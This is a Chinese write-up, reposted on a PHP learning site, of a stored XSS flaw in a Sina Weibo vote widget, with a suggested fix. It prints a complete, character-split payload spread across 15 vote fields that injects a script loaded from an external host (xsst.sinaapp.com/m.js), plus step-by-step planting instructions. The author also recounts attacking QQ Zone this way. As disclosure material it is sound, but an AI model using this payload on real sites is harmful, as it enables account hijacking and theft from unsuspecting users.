来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 总的来说,该存储型XSS,是由于某页面的输出没过滤造成的。其实大部分都过滤了,就这里没过滤而已~ 算是小问题啦。 不过在漏洞的利用构造上,个人觉得还是挺有意思的!在4,5年前...
总的来说,该存储型XSS,是由于某页面的输出没过滤造成的。其实大部分都过滤了,就这里没过滤而已~ 算是小问题啦。 不过在漏洞的利用构造上,个人觉得还是挺有意思的!
在4,5年前,由于QQ空间对用户昵称没过滤,但是QQ昵称的长度又被限制在很短的字符,也没办法插入很多内容,当时我就自己想到了这个方法,然后成功攻击了腾讯官方的QQ空间的留言板(那时候年少无知,马上被和谐了,当时觉得挺有意思的)。在此之后,一直没有再遇到到可以使用这个方法的场景。今天正好在新浪微博某官方应用中碰到了,就分享给大家。
1. 问题描述
问题页面:http://vote.weibo.com/widget?vid=1772503
问题原因:图片类型投票时,在投票组件(widget)中,输出图片描述未进行正确的过滤,导致XSS
2. 问题是小问题,下面才是重点,利用过程。
2.1 首先查看http://vote.weibo.com/widget?vid=1764421页面的输出内容。
可以发现,实际可以被注入的地方为 <img title="{图片描述未过滤}"></img>
2.2 但是图片描述被限定为20个字符,之前Wooyun已经有人提交过选项内容长度没有在服务器端过滤的问题,经测试该问题已经修复,如下图:
如何利用这20个字符插入我们的代码呢? www.2cto.com
首先想到的,还是 <img title=""onload="eval(xxxxx)"></img>
其中xxxxx是可控的变量,而且这个变量的长度只能在5之内,经过查找没有我们可控的变量,唯一一个可能被控的$CONFIG$都已经超出长度了。只有eval(name)可以用了!
2.3 但是eval(name)向来不是我推崇的方式。我们还得想办法!
这个时候,我第二想到的,就是我若干年前在QQ空间使用过的一个方法。如下:
因为投票实际上可以写入最多15个投票选项。
输出的HTML代码大致如下:
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
....(一共15个)
从而我们可以构造一个比较有意思的利用方式,模型如下:
<img title=""><script>/*"></img>
<img title="*/var a='xxxxxxx';/*"></img>
<img title="*/var b='yyyyyyy';/*"></img>
<img title="*/eval(a+b);/*"></img>
<img title="*/</script><b x=""></img>
2.4 上面的这个模型,会将之间的HTML代码通过/* ..... */ 的方式均变为注释。
2.5 基于以上,我们可以构造以下完整的利用模型,不能超过15个短句,投票数目有限制。其次无法调用新浪网页自带的函数。
"><script>/*
*/var l='\x3C';/*
*/var n='\x3E';/*
*/var b='xsst.si';/*
*/var c='naapp.c';/*
*/var d='om/m.js';/*
*/var e='script ';/*
*/var f=l+e+'src';/*
*/var g=l+'/'+e;/*
*/var x=b+c+d;/*
*/var y=f+'=//'+x;/*
*/var z=y+n+g+n;/*
*/var j=document;/*
*/j.write(z);/*
*/</script><"
2.6 然后我们进入投票创建页面:http://vote.weibo.com/create?tab=pic
一条一条的输入我们构造好的JS代码!
2.7 等待投票审核通过后,我们查看投票的widget页面 http://vote.weibo.com/widget?vid=1772503
修复方案:
对 http://vote.weibo.com/widget?vid=1772503 里的图片 title属性中的【图片描述】进行输出过滤!
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com